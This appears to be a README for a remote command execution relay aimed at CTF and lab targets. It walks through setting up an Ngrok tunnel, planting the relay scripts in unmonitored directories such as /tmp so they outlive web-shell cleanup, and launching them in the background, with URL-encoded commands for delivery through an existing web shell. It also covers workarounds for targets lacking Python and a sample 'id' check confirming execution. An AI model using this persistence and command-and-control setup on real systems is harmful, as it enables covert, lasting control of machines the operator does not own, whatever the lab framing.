A stateful, non-interactive remote command execution relay designed for Linux-based CTF and lab environments.

This toolkit provides indirect remote command execution without requiring interactive TTY access or raw socket connections.

• Designed for Remote Labs: Solves the issue of limited lab accessibility. Allows you to maintain access to your lab environment from home through indirect networks and NAT.
• Persistence Against File Cleanup: In many lab environments, PHP scripts and web shells in web roots are automatically wiped every few minutes. By deploying these scripts to non-monitored writable locations (such as /tmp or /run), you retain execution access without needing to repeatedly re-upload web shells.
• No URL Encoding Issues: Handles directory changes (cd), multi-line commands, and complex execution without needing standard web shell URL encoding.
• Self-Healing Mechanism: Includes automated monitoring that handles crashes or hung states (e.g., if an interactive command like nano or top is accidentally triggered). If a crash occurs:
  1. Close attacker.py on your machine and wait 1 minute.
  2. Re-launch attacker.py.
  3. Wait 3 seconds, then type id to confirm the self-healing recovery has completed.

Note: This tool and instructions are exclusively for Linux environments.

• Target System:
  • Linux OS
  • python3 (If python3 is missing, see the If Dependencies Are Not Installed section).
• Attacker System:
  • Python 3
  • Ngrok

1. Install Ngrok on your attacker system:

   sudo snap install ngrok

   If snap is not available on your system, follow the official instructions on the Ngrok Website.

2. Create an account on Ngrok, copy your authtoken, and configure your system:

   ngrok config add-authtoken <YOUR_NGROK_AUTHTOKEN>

3. Start Ngrok on HTTP port 8080:

   ngrok http 8080

   Verify that Ngrok is active and listening on port 8080. Copy the HTTPS URL provided by Ngrok (e.g., https://xxxx.ngrok-free.app). Keep this terminal session active.

Open attacked.py and set your active Ngrok URL:

# Change this:
URL = "https://<your_ngrok_url>"

# To this:
URL = "[https://xxxx.ngrok-free.app](https://xxxx.ngrok-free.app)"

Open runner.sh and set your target environment paths and Ngrok URL:

# Change these values:
URL="https://<your_ngrok_url>"
SCRIPT_PATH="/your/script/path.py"
LOG_PATH="/path/to/your/output/log_file.txt"

# To your specific target paths, for example:
URL="[https://xxxx.ngrok-free.app](https://xxxx.ngrok-free.app)"
SCRIPT_PATH="/tmp/attacked.py"
LOG_PATH="/tmp/execution.log"

Place attacked.py and runner.sh into your target directory (e.g., /tmp or /run).

Execute runner.sh in the background:

nohup bash runner.sh >/dev/null 2>&1 &

If launching via an active web shell or HTTP GET/POST command execution where special characters need URL encoding:

nohup%20bash%20runner.sh%20%3E%2Fdev%2Fnull%202%3E%261%20%26

If the target system does not have nohup installed or lacks /bin/bash:

1. Edit runner.sh to remove the nohup call on the script execution line:

   # Change this inside runner.sh:
   nohup python3 "$SCRIPT_PATH" </dev/null>"$LOG_PATH" 2>&1 &
   
   # To this:
   python3 "$SCRIPT_PATH" </dev/null>"$LOG_PATH" 2>&1 &

2. Execute runner.sh in the background using subshell redirection:

   (sh runner.sh >/dev/null 2>&1 &)

%28sh%20runner.sh%20%3E%2Fdev%2Fnull%202%3E%261%20%26%29

Only follow this section if the target Linux system does not have python3 installed.

1. On a local Linux system, compile attacked.py into a standalone binary using PyInstaller:

   pip install pyinstaller
   pyinstaller --onefile attacked.py

2. Upload the compiled executable binary (dist/attacked) to the target system.

3. In runner.sh, change the SCRIPT_PATH variable to point to the compiled binary without the .py extension:

   # Change this:
   SCRIPT_PATH="/your/script/path.py"
   
   # To this:
   SCRIPT_PATH="/your/script/path"

This allows execution on target systems that lack Python 3 environments.

1. Run attacker.py on your local machine:

   python3 attacker.py

2. Once listening, enter id to confirm command execution:

   > id
   uid=1000(user) gid=1000(user) groups=1000(user)
   >